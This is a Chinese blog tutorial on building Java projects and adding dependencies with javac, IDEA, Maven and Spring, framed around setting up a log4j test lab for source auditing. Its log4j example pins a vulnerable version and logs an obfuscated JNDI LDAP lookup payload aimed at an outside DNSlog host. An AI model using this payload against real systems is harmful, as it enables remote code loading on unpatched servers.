【技术分享】搭建java项目引入外部依赖教程

2023-11-02

引言

学习工作中经常会遇到java相关的项目工程, 本篇文章主要是想分享一下如何搭建一个java环境。
其实我在接触java项目的过程中,最直接的阻碍,并不是java语法的理解, 也不是框架的使用,这些直接网上查询就可以得到。 但是对于java项目如何搭建起来的,如果运行的,或者是如何添加项目依赖的,这些确实是让java初学者比较头痛。
触发我写这篇文章的一个最直接的应用场景是:
在遇到一个简单的源码审计问题的时候,只有源代码,不提供依赖,这个时候如何在项目中引入依赖,然后把代码在本地跑起来,这样就可以调试并快速审计或定位问题了。

这篇文章主要关注以下场景的问题:

  • 如何新建一个简单的java工程项目(例如用于leetcode刷题)
  • 如何引入外部依赖并运行(例如新建一个使用到log4j 的靶场环境并运行)
  • 如何新建一个spring源码项目并为其添加依赖。
  • 给定一个源码(如spring相关项目),如何为这个项目添加依赖,本地运行。

顺便提一下,对笔者自己来说,引入java外部依赖是个难题。 之前有过c++ 和python 相关的项目经历,在实际应用中,搭建c++,python环境都比较容易,引入外部依赖也比较方便。

  • 对于c++项目来说,使用c++编译器来编译运行代码, 一般需要通过 #include 的方式来引入外部依赖的头文件。
  • 对于python项目来说, 也都需要配置一个python解释器,如果有什么需要引用外部的库, 直接使用 pip install命令就可以方便的使用各种库的功能了。
  • 对于java项目来说,编译运行java程序需要使用到jdk; 引用外部依赖, 可以先下载jar包再引用, 也可以使用maven 工程来配置好依赖后自动下载。

如何在linux中编译运行java程序

  • 我们来学习一下如何在linux中使用java 命令编译执行一个简单的程序。
  1. 假设已经安装并配置好了java 环境
  2. 创建一个名为HelloJava.java的文件, 然后文件中编辑一个类HelloJava.java; 注意: 文件名要和类名要保持一致,否则会编译出错, 但是我们知道在c++和python 中都没有这样的限制。
public class HelloJava{
    public static void main(String[] args) {
        System.out.println("Nice to meet you!")}
}
  • static 表示这是一个静态方法,允许调用main()方法, 无需创建类的实例即可运行。

  • main()是所有的程序的入口,最先开始执行。

  • 执行下面命令,可以编译成一个符合java虚机机规范的字节码文件: HelloJava.class。

javac HelloJava.java
  • 执行下面命令, 可以运行HelloJava.class,但是注意,命令中需要把.class去掉。
java HelloJava

IDEA中新建一个简单的java工程项目并运行

上面我们学习了使用java命令行来编译运行java程序,这是最基础的执行步骤。但是在我们的日常开发中,项目通常会在一个集成开发环境中完成,下面我们学习一下如何在IDEA新建一个简单的java工程项目。

  1. 打开idea–> File-> New-> Project

  2. 选择创建一个简单的java项目, 在Project sdk中选择自己提前下载安装好的jdk路径

  3. 点击继续, project name 可以自己定义,例如 demo.

  4. 成功创建一个java项目后, 项目下有idea和src两个目录,我们主要在src目录下操作。在src目录新建一个包package, 然后新建一个HelloJava类, 然后点击运行,即可观察到结果。

package aaa.bbb;
public class HelloJava{
    public static void main(String[] args) {
        System.out.println("Nice to meet you!");
    }
}

知识点: 什么是package?
其实对于初学者,可能会使用不到package, 因为我们刚开始学习的时候,一般都是几个简单的类文件,我们稍微注意一下,就不会导致类名冲突这样的问题。但是,随着工程的不断扩大, 我们可能会遇到这样的场景:

  • 类的名称太多了, 可能会有类名称冲突
  • 类的定义太多了,我想按照某种逻辑分类, 把相似的类名称放在一起。

这个时候,我们就可以使用package了。

包允许将类组合成较小的单元(类似文件夹),它基本上隐藏了类,并避免了名称上的冲突。包允许在更广泛的范围内保护类、数据和方法。你可以在包内定义类,而在包外的代码不能访问该类。这使你的类相互之间有隐私,但不被其他世界所知。

包的作用如下:
区分相同名称的类。
能够较好地管理大量的类。
控制访问范围。

包(package)的使用要点如下:

  • 包名全部使用小写字母
  • 多个层次使用.分隔
  • 一般会由倒置的域名开头,比如 com.baidu,不要有 www。
  • 不能java开头。
  • 使用 import 语句导入指定包下某个类的用法按如下:
import example.MyClass;
  • 使用 import 语句导入指定包下全部类的用法按如下:
import example.*;
  • Java 默认为所有源文件导入 java.lang 包下的所有类,因此前面在 Java 程序中使用 String、System 类时都无须使用 import 语句来导入这些类。但对于前面介绍数组时提到的 Arrays 类,其位于 java.util 包下,则必须使用 import 语句来导入该类。

IDEA中如何引入外部依赖并运行

加入我们遇到下面的场景:
为了验证log4j的漏洞, 我们想搭建一个简单的log4j靶场环境。 这里,我们介绍两种方法来引入log4j的外部依赖环境: 1. 手工下载log4j的jar包并引入; 2.通过maven环境引入log4j依赖;

maven引入log4j jar包

  1. 创建maven工程 : File > new > project > Maven > 创建项目名称为log4j_test

  2. IDEA会生成项目, 其中有pom.xml文件, 初始内容状态为:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>log4j_test</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>

</project>

如果我们想加入log4j的jar依赖,我们需要添加:

    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.13.2</version>
        </dependency>
    </dependencies>

然后,我们就可以愉快的引入log4j的外部依赖了, 我们可以编辑代码来实现自己的需求。

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Test1{
    private static final Logger logger = LogManager.getLogger(org.apache.logging.log4j.Logger.class);
    public static void main(String[] args) {
        logger.error("hello world   asdf.");
        logger.error("$${lookupName:key:${lower:env}}");
        logger.error("${env:aaa:-444444}");
        logger.error("${base64:SGVsbG8gV29ybGQhCg==}");
        logger.error("${log4j:configParentLocation}");
        logger.error("$${lower:{${java:os}}");
        logger.error("${upper:DhhASD}");
        logger.error("${java:os}");
        logger.error("${${env:base:-j}${lower:N}di:l${lower:D}${env:base:-a}p://qqqq.rblpq9.ceye.io/Log4jRC}");
    }
}


  • 这里引出一个疑问: 如果我们只知道三方库的名字, 如何快速查询到maven中的引用方式呢?
    方法如下:
  1. 访问Maven中央仓,例如访问:https://mvnrepository.com/
  2. 搜索需要引入的三方库名称,例如搜索log4j
  3. 点击进去,选择合适的版本,例如选择2.12.3
  4. 页面会给出maven的引用方式,复制到pom.xml中即可。例如:
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.12.3</version>
</dependency>

手工引入log4j jar包

上面我们介绍了使用maven的方式来引入外部依赖,但是其实我们也可以手工下载jar包,然后手工引入, 这样其实就不需要使用maven项目了, 下面我们来实践一下。

  1. 访问maven中央仓,并搜索下载自己想要的jar包到本地。

  2. 下面我们就需要在IDEA中配置引入下载的jar包了, 具体步骤如下

点击 file > Project Structure > Modules >  点击+ > JARs or Directories > 添加存放自己下载jar包的路径

3. 下面我们就可以在工程项目中引用这个jar包的外部依赖了

如何使用命令行的方式添加外部依赖

假如遇到如下的场景:
windows 下写了一个java类并编译成class文件,现在想把这个程序放到linux下执行。但是我在程序中引入了外部依赖, 这样的话,由于缺少外部依赖,是无法直接在linux中运行的。

问题一: 如何在运行java程序时候,命令行指定依赖:

可以使用如下的示例:(个人理解绝对路径和相对路径都是可以的)

java -cp .:绝对路径1.jar:绝对路径2.jar 全限定类名(此类有main方法)
java -cp other.jar:demo-0.0.1-SNAPSHOT.jar com.javapc.demo.test.Test

问题二: 如何在编译的时候指定依赖

 javac -cp 绝对路径1.jar:绝对路径2.jar java文件名.java

如何新建一个spring源码项目并为其添加依赖

我们在上文介绍了创建java项目以及引入依赖的通用方法。在实际的web项目中,spring框架的使用还是非常常见的, 下面介绍下spring项目的搭建方法,spring 项目中一般会使用maven来管理外部依赖。

  1. New > Project > 选中Maven

  2. 右击项目 > Add FrameWork Support > 添加一下spring 框架支持。

  3. 对于spring相关依赖,可以在pom.xml中按需加入,比如:

    <dependencies>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-context</artifactId>
        <version>4.2.6.RELEASE</version>
    </dependency>

    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-webmvc</artifactId>
        <version>4.3.0.RELEASE</version>
    </dependency>
    </dependencies>

  1. 接下来,我们就可以在项目中使用spring 来搭建java web工程了
package net.biancheng.c;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MainApp {
    public static void main(String[] args) {
        ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
        HelloWorld obj = context.getBean("helloWorld", HelloWorld.class);
        obj.getMessage();
        System.out.println(System.getProperty("user.dir"));
    }
}

给定一个spring工程源码,如何pom.xml添加依赖,本地运行。

我们有可能后遇到这样的一个场景:
我们拿到了一个spring项目的源码,pom.xml文件可能是缺失的,我们需要使用IDEA搭建可运行环境用于调试。
我们可以采取如下的步骤:

  1. Add Framework Support添加spring框架支持。
  2. Add Framework Support添加maven框架支持,这个会自动生成一个pom.xml文件。
  3. 设置JDK路径
  4. 根据代码来设置package
  5. pom.xml 添加spring boot相关依赖。

可能会遇到以下问题:

  • spring 依赖版本需要匹配一致,否则会无法运行。

  • 找不到类,对应的保存可以网上搜索解决

总结

动手实践了以上的java项目搭建过程,就熟悉了java项目开发流程。 这样,我们可以快速的调试运行起来其他人开发的项目,也可以快速的自己搭建环境进行java开发。

参考资料:
http://c.biancheng.net/view/5611.html

https://blog.csdn.net/weixin_45987729/article/details/124216168

http://c.biancheng.net/view/6084.html

https://juejin.cn/post/6954950905909215268

https://www.jianshu.com/p/4bff72c7e71b

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

【技术分享】搭建java项目引入外部依赖教程 的相关文章

随机推荐

  • Android Studio apk 文件路径

    out production
  • java实现图片与base64转换

    如果你是一个软件开发 不论前端后端工程师 图片的处理你是肯定要会的 关于图片的Base64编码 你可能有点陌生 但是这是一个软件工程师应该要掌握的知识点 现在很多网友把图片与base64转换都做成了小工具如 http www yzcopen
  • Android 使用OpenCV的三种方式(Android Studio)

    其实最早接触OpenCV是很久很久之前的事了 大概在2013年的5 6月份 当时还是个菜逼 虽然现在也是个菜逼 在那一段时间 学了一段时间的android 并不算学 一个月都不到 之后再也没接触android 而是一直在接触java web
  • linux常见报错种类

    说起来日常的故障 其实 首先应该相到的就是 备份 毕竟再怎么牢固的系统或硬件都会有故障的时候 所以 备份放第一位 作为linux运维 多多少少会碰见这样那样的问题或故障 从中总结经验 查找问题 汇总并分析故障的原因 这是一个Linux运维工
  • [春秋云镜]CVE-2022-22733

    声明 中所涉及的技术 思路和 具仅供以安全为 的的学习交流使 任何 不得将其 于 法 途以及盈利等 的 否则后果 承担 所有渗透都需获取授权 靶场介绍 Apache ShardingSphere ElasticJob UI由于返回 toke
  • Kali 2020.1版本 更新不能解析域名问题解决

    Kali 2020 1版本 更新不能解析域名问题解决 问题阐述 解决方法 1 添加DNS解析服务器的ip地址 2 重启 3 kali联网即可更新
  • IC工程师入门必学《Verilog超详细教程》(附下载)

    Verilog HDL 简称 Verilog 是一种硬件描述语言 用于数字电路的系统设计 可对算法级 门级 开关级等多种抽象设计层次进行建模 Verilog 继承了 C 语言的多种操作符和结构 与另一种硬件描述语言 VHDL 相比 语法不是
  • 用U盘给虚拟机装系统——U深度

    下载一个u深度 将要安装的系统镜像放进 重装系统 创建虚拟机 按shift 修改位如下所示 按fn f10确认 选择第二个 进行磁盘分区 开始装机 完成后关机并把启动时间修改回去 如果拔出U盘后出现以下情况 把新添加的硬盘移除即可
  • 北京的三甲医院都是定点医院吗?不列入医保卡范围不能报销?

    北京有19家三甲医院看病 用医保卡实时报销 其他的三甲医院需要在蓝本上定点后 才能报销 1 中国医学科学院北京协和医院 2 首都医科大学附属北京同仁医院 3 首都医科大学宣武医院 4 首都医科大学附属北京友谊医院 5 北京大学第一医院 6
  • 不错的在线视频下载软件

    发现了一款非常好的下载在线视频软件 而且可以跨浏览器使用 它几乎支持所有的web浏览器 如IE Chrome Firefox Opera Safari等浏览器 支持Youtube Youku Ku6 6间房 凤凰卫视视频网等在线视频网站的视
  • 破解世界数学难题!GPT-4 得出P≠NP

    Datawhale干货 编辑 陈萍 来源 机器之心 这是对 LLM for Science 一次有希望的探索 对于身处科研领域的人来说 或多或少的都听到过 P NP 问题 该问题被克雷数学研究所收录在千禧年大奖难题中 里面有七大难题 大家熟
  • 一些关于CV和deeplearning的干货链接(长期更新)

    目录 yolo系列汇总 关于batch normalization的理解 各类归一化方法的总结及代码 YJango的卷积神经网络介绍 目标检测SSD讲解 关于AP PR曲线计算的理解 内附代码 生肉 英文 解释了yolov3的forward
  • vue2与vue3有什么区别?

    今天要说的vue3基本兼容我们所熟悉的vue2代码 一 两者基本的不同点 1 vue3固然是优点多多的 其3个主要的优点有 1 按需引用 2 组合式api 更加接近原生js 更加直观 3 vue3新增的set up中没有this 也就是说v
  • Android之OpenGL学习

    1 前言 本来一直就想做音视频开发这方面 包括我的毕业论文也是 可惜却太久没有接触有些陌生 遂写文章来复习 在这里有几个目标需要订下 第一个就是需要实现相机使用OpenGL ES进行渲染 第二个就是搞定实现一些初步的滤镜 第三个就是了解视频
  • 软件测试 中静态测试与动态测试的区别

    1 测试部分的不同 静态测试是指测试不运行的部分 只是检查和审阅 如规范测试 软件模型测试 文档测试等 动态测试是通常意义上的测试 也就是运行和使用软件 2 测试方式不同 静态测试 通过评审文档 阅读代码等方式测试软件称为静态测试 通过运行
  • python数字类型分为三类_Python | 数据类型

    Python让Python成为语言研究的利器Xu YangPhoneticSan学习参考 Python for Linguists Natural Language Processing with Python Introducing Py
  • 小白学加速乐的理解

    本来是想学下树美的 感觉太难了 就开始了学习加速乐的进程 网上文章挺多的 到了自己就整不起走 对大佬来说可能就是一些小知识点 无需挂齿 今天我把自己的理解做个小记录 1 2 打开抓包后 打开浏览器开发者工具 在debugger就断着了 大胆
  • 硬件电路点点滴滴“女屌逆袭”2---晶体三极管(1)

    一 晶体管基础知识 晶体管分2种 NPN PNP 晶体管通常封装为TO 92 下面是元件实物图 和 元件符合 NPN 当电压和电流被加到基极上时 NPN晶体管 其工作原理 就像水龙头 给控制开关一点压力 它就放出水来 同样给基极一定电压和电
  • PCL (再探)点云配准精度评价指标——均方根误差

    目录 一 算法原理 二 代码实现 三 代码解析 四 备注 本文由CSDN点云侠原创 原文链接 如果你不是在点云侠的博客中看到该文章 那么此处便是不要脸的爬虫 一 算法原理 见 点云配准精度评价指标 均方根误差 PCL 点云配准精度评价 点到
  • 【技术分享】搭建java项目引入外部依赖教程

    文章目录 引言 如何在linux中编译运行java程序 IDEA中新建一个简单的java工程项目并运行 IDEA中如何引入外部依赖并运行 maven引入log4j jar包 手工引入log4j jar包 如何使用命令行的方式添加外部依赖 如